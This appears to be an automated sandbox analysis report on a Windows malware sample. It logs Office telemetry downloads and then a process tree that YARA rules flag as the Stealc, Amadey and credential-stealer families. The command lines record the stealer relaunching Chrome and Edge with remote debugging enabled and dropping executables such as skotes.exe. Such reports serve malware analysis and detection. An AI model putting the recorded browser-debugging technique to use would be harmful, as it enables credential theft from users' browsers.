Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.8	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:10 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:11 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024111Z-174c587ffdftjz9shC1TEBsh98000000056000000000a525 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:11 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.8	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:11 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:11 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c6f64b36-301e-0000-4706-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024111Z-178bfbc474bv7whqhC1NYC1fg400000006v000000000art7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:41:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.8	49945	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:12 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:13 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 31c6069e-e01e-001f-7f36-3d1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024113Z-15b8b599d88tr2flhC1TEB5gk400000005gg000000004144 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:13 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.8	49947	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:13 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:13 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:13 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: e04d5a2d-b01e-003d-70c1-3ed32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024113Z-178bfbc474brk967hC1NYCfu6000000006pg000000007y5r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:41:13 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.8	49946	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:13 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:13 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 71a2c45e-801e-008c-45c1-3e7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024113Z-178bfbc474b9xljthC1NYCtw9400000006v0000000002pf3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:13 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.8	49948	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:13 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:13 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: d0fe0868-a01e-006f-42ad-3e13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024113Z-178bfbc474b9fdhphC1NYCac0n00000006u00000000070yn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:13 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.8	49949	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:41:13 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 02:41:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:41:13 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: fa1269cf-b01e-003d-7592-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T024113Z-15b8b599d88tr2flhC1TEB5gk400000005hg0000000017cq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 02:41:13 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Target ID:	0
Start time:	21:39:15
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x960000
File size:	1'788'416 bytes
MD5 hash:	F6DB1FDB077557936FBF7F79BFAEDE5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2057596576.0000000000961000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1504728979.0000000005290000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2059475906.000000000163E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:39:26
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:39:26
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2300,i,15339701859179161411,15348730028452467076,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:39:36
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:39:37
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2448 --field-trial-handle=2316,i,7836467424862608864,15841045367837416628,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	21:39:37
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	21:39:37
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	21:39:42
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6716 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:39:42
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6736 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:40:06
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFBFCAKKKFB.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	21:40:06
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	21:40:06
Start date:	24/11/2024
Path:	C:\Users\user\DocumentsFBFCAKKKFB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsFBFCAKKKFB.exe"
Imagebase:	0x420000
File size:	1'950'208 bytes
MD5 hash:	C680DCFC26E4B6CA62B7C9334C27D059
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2013477504.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2053805683.0000000000421000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	21:40:09
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x600000
File size:	1'950'208 bytes
MD5 hash:	C680DCFC26E4B6CA62B7C9334C27D059
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2085093566.0000000000601000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2044728417.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:40:37
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5300 --field-trial-handle=2000,i,7828563387837230653,7053716647088006014,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	21:41:00
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x600000
File size:	1'950'208 bytes
MD5 hash:	C680DCFC26E4B6CA62B7C9334C27D059
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2749562125.0000000000601000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.2550911738.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	21:41:13
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe"
Imagebase:	0x400000
File size:	1'873'408 bytes
MD5 hash:	A63CADCE90E5A2236DF20FEAF391A8A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.2732544936.0000000000DCA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000002.2751559896.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CA535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CADF688,00001000), ref: 6CA535D5
